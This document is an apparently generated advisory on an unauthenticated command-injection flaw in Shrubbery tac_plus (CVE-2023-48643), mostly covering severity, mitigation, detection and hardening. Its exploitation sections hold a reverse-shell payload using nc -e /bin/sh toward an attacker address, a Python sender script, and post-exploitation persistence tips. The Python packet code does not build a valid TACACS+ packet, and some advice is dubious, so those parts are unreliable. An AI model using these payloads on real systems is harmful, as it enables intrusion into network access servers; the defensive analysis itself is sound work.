Description
Shrubbery tac_plus 2.x, 3.x. and 4.x through F4.0.4.28 allows unauthenticated Remote Command Execution. The product allows users to configure authorization checks as shell commands through the tac_plus.cfg configuration file. These are executed when a client sends an authorization request with a username that has pre-authorization directives configured. However, it is possible to inject additional commands into these checks because strings from TACACS+ packets are used as command-line arguments. If the installation lacks a a pre-shared secret (there is no pre-shared secret by default), then the injection can be triggered without authentication. (The attacker needs to know a username configured to use a pre-authorization command.) NOTE: this is related to CVE-2023-45239 but the issue is in the original Shrubbery product, not Meta's fork.
EPSS Score:
3%
Comprehensive Technical Analysis of EUVD-2023-52693 (CVE-2023-48643)
Vulnerability: Unauthenticated Remote Command Execution in Shrubbery tac_plus
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
EUVD-2023-52693 (CVE-2023-48643) is a critical unauthenticated remote command execution (RCE) vulnerability in Shrubbery’s tac_plus, an open-source TACACS+ (Terminal Access Controller Access-Control System Plus) daemon. The flaw arises from improper input sanitization in the tac_plus.cfg configuration file, where pre-authorization shell commands are executed using unsanitized TACACS+ packet data as command-line arguments.
CVSS 3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network. |
| Attack Complexity (AC) | Low (L) | No special conditions required; default configurations are vulnerable. |
| Privileges Required (PR) | None (N) | No authentication required if no pre-shared secret is configured. |
| User Interaction (UI) | None (N) | No user interaction needed. |
| Scope (S) | Unchanged (U) | Exploit affects the vulnerable component only. |
| Confidentiality (C) | High (H) | Full system compromise possible. |
| Integrity (I) | High (H) | Arbitrary command execution allows data manipulation. |
| Availability (A) | High (H) | Denial-of-service or full system takeover possible. |
| Base Score | 9.8 (Critical) | One of the highest-severity vulnerabilities due to unauthenticated RCE. |
Key Risk Factors
- Unauthenticated Exploitation: If no pre-shared secret is configured (default state), attackers can exploit the flaw without credentials.
- Low Attack Complexity: Only requires knowledge of a valid username configured with pre-authorization commands.
- High Impact: Successful exploitation grants full system control, enabling lateral movement, data exfiltration, or persistence.
- Widespread Deployment: TACACS+ is commonly used in enterprise networks, ISPs, and critical infrastructure for AAA (Authentication, Authorization, Accounting).
2. Potential Attack Vectors and Exploitation Methods
Exploitation Prerequisites
-
Target System:
- Running Shrubbery tac_plus (versions 2.x, 3.x, 4.x up to F4.0.4.28).
- No pre-shared secret configured (default state).
- A username with pre-authorization commands defined in
tac_plus.cfg.
-
Attacker Knowledge:
- IP address of the TACACS+ server.
- Valid username (can be obtained via enumeration or default accounts).
Exploitation Steps
-
Reconnaissance:
- Identify vulnerable
tac_plusinstances via port scanning (TCP/49). - Enumerate usernames (e.g., via TACACS+ authentication probes or default credentials).
- Identify vulnerable
-
Command Injection:
- Craft a malicious TACACS+ authorization request containing:
- A valid username with pre-authorization commands.
- Injected shell commands (e.g.,
; id,&& nc -e /bin/sh <ATTACKER_IP> 4444).
- Example payload:
TACACS+ Authorization Request: Header: Version=12, Type=AUTHOR, Seq=1, Flags=0, SessionID=0x1234 Body: { "username": "admin; nc -e /bin/sh 192.168.1.100 4444", "service": "shell", "cmd": "show running-config" } - The server executes the pre-authorization command with injected payloads.
- Craft a malicious TACACS+ authorization request containing:
-
Post-Exploitation:
- Reverse shell establishment.
- Privilege escalation (if
tac_plusruns as root). - Lateral movement within the network.
Proof-of-Concept (PoC) Exploitation
A public PoC is available at: 🔗 https://github.com/takeshixx/tac_plus-pre-auth-rce
The exploit demonstrates:
- Unauthenticated RCE via crafted TACACS+ packets.
- Reverse shell establishment on vulnerable systems.
3. Affected Systems and Software Versions
Vulnerable Software
| Product | Vendor | Affected Versions |
|---|---|---|
| Shrubbery tac_plus | Shrubbery Software | 2.x, 3.x, 4.x up to F4.0.4.28 |
Not Affected
- Meta’s fork of tac_plus (CVE-2023-45239 is a separate issue).
- Cisco Secure ACS / ISE (proprietary TACACS+ implementations).
- Open-source alternatives (e.g., FreeRADIUS with TACACS+ module).
Deployment Context
- Enterprise Networks: Used for router/switch access control.
- ISPs & Telcos: Manages customer premise equipment (CPE).
- Critical Infrastructure: Deployed in SCADA/ICS environments.
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Patches:
- Upgrade to the latest patched version (if available).
- Monitor Shrubbery’s GitHub for updates: 🔗 https://github.com/shrubbery/tac_plus
-
Workarounds (if patching is not feasible):
- Enable a pre-shared secret in
tac_plus.cfg:key = "STRONG_RANDOM_SECRET" - Restrict network access to TACACS+ servers (firewall rules, VLAN segmentation).
- Disable pre-authorization commands if not required.
- Use a WAF (Web Application Firewall) to filter malicious TACACS+ packets.
- Enable a pre-shared secret in
-
Monitor for Exploitation:
- Log TACACS+ authorization requests for suspicious activity.
- Deploy IDS/IPS (e.g., Snort/Suricata rules) to detect command injection attempts.
Long-Term Recommendations
- Migrate to Modern AAA Solutions:
- Cisco ISE (for enterprise environments).
- FreeRADIUS with TACACS+ module (open-source alternative).
- Implement Zero Trust Network Access (ZTNA):
- Replace TACACS+ with SSH certificate-based authentication.
- Regular Vulnerability Scanning:
- Use Nessus, OpenVAS, or Qualys to detect vulnerable
tac_plusinstances.
- Use Nessus, OpenVAS, or Qualys to detect vulnerable
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications
- NIS2 Directive (EU 2022/2555):
- Organizations in critical sectors (energy, transport, healthcare) must patch within strict timelines.
- Failure to mitigate may result in fines up to €10M or 2% of global turnover.
- GDPR (EU 2016/679):
- Unauthorized access via RCE could lead to data breaches, triggering mandatory reporting and penalties.
- ENISA Guidelines:
- ENISA’s Threat Landscape Report highlights TACACS+ vulnerabilities as a high-risk vector for critical infrastructure.
Threat Actor Interest
- APT Groups: Likely to exploit in espionage campaigns (e.g., APT29, Sandworm).
- Ransomware Operators: Could use RCE for initial access (e.g., LockBit, Black Basta).
- Cybercriminals: May deploy cryptominers or botnets via mass exploitation.
Geopolitical Considerations
- State-Sponsored Threats: Russia, China, and Iran-linked groups may target EU critical infrastructure.
- Supply Chain Risks: Vulnerable
tac_plusinstances in third-party vendors could be exploited for lateral movement.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerability Location:
tac_plus.cfgpre-authorization command execution. - Code Flow:
- TACACS+ authorization request received.
- Username extracted and used in shell command execution (e.g.,
exec /bin/sh -c "pre-auth-command $USERNAME"). - No input sanitization → Command injection via
;,&&,|, or newlines.
- Default Configuration Flaw:
- No pre-shared secret by default → Unauthenticated exploitation possible.
Exploitation Technical Deep Dive
-
TACACS+ Packet Crafting:
- Header: Version (12), Type (AUTHOR), Session ID.
- Body: Malicious
usernamefield with injected commands. - Example (Python-based exploit):
import socket from struct import pack def craft_tacacs_packet(username): header = pack("!BBH", 12, 0x02, 0x1234) # Version, Type=AUTHOR, SessionID body = f"username={username}&service=shell&cmd=show running-config" return header + body.encode() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("TARGET_IP", 49)) s.send(craft_tacacs_packet("admin; nc -e /bin/sh 192.168.1.100 4444")) s.close()
-
Post-Exploitation Techniques:
- Reverse Shell:
nc -lvnp 4444 # Attacker's listener - Privilege Escalation:
- Check
sudo -lfor misconfigurations. - Exploit kernel vulnerabilities (e.g., Dirty Pipe, CVE-2021-4034).
- Check
- Persistence:
- Add SSH keys (
~/.ssh/authorized_keys). - Install backdoors (e.g.,
cron jobs,systemd services).
- Add SSH keys (
- Reverse Shell:
Detection & Forensics
- Log Analysis:
- Check
/var/log/tac_plus.logfor unusual command executions. - Look for suspicious usernames (e.g.,
admin; id).
- Check
- Network Forensics:
- PCAP Analysis: Filter for TACACS+ (TCP/49) with malformed usernames.
- SIEM Rules: Detect command injection patterns in TACACS+ traffic.
- Endpoint Detection:
- EDR/XDR (e.g., CrowdStrike, SentinelOne) to detect unexpected shell spawns.
- File Integrity Monitoring (FIM) for unauthorized changes.
Hardening Recommendations
- Configuration Hardening:
# tac_plus.cfg key = "STRONG_RANDOM_KEY_32_CHARS" default authentication = file /etc/passwd - Least Privilege Principle:
- Run
tac_plusas a non-root user. - Use chroot/jail environments.
- Run
- Network Segmentation:
- Isolate TACACS+ servers in a dedicated VLAN.
- Restrict access via firewall rules (e.g., allow only from trusted subnets).
Conclusion
EUVD-2023-52693 (CVE-2023-48643) is a critical unauthenticated RCE vulnerability in Shrubbery tac_plus, posing a severe risk to European organizations, particularly in critical infrastructure. Given its CVSS 9.8 score, low exploitation complexity, and widespread deployment, immediate action is required to patch, mitigate, and monitor affected systems.
Key Takeaways for Security Teams: ✅ Patch immediately or apply workarounds (pre-shared secret, network restrictions). ✅ Monitor for exploitation via logs, IDS/IPS, and EDR. ✅ Consider migrating to modern AAA solutions (e.g., Cisco ISE, FreeRADIUS). ✅ Review compliance with NIS2, GDPR, and ENISA guidelines.
Failure to address this vulnerability could result in catastrophic breaches, including data theft, ransomware deployment, and infrastructure sabotage.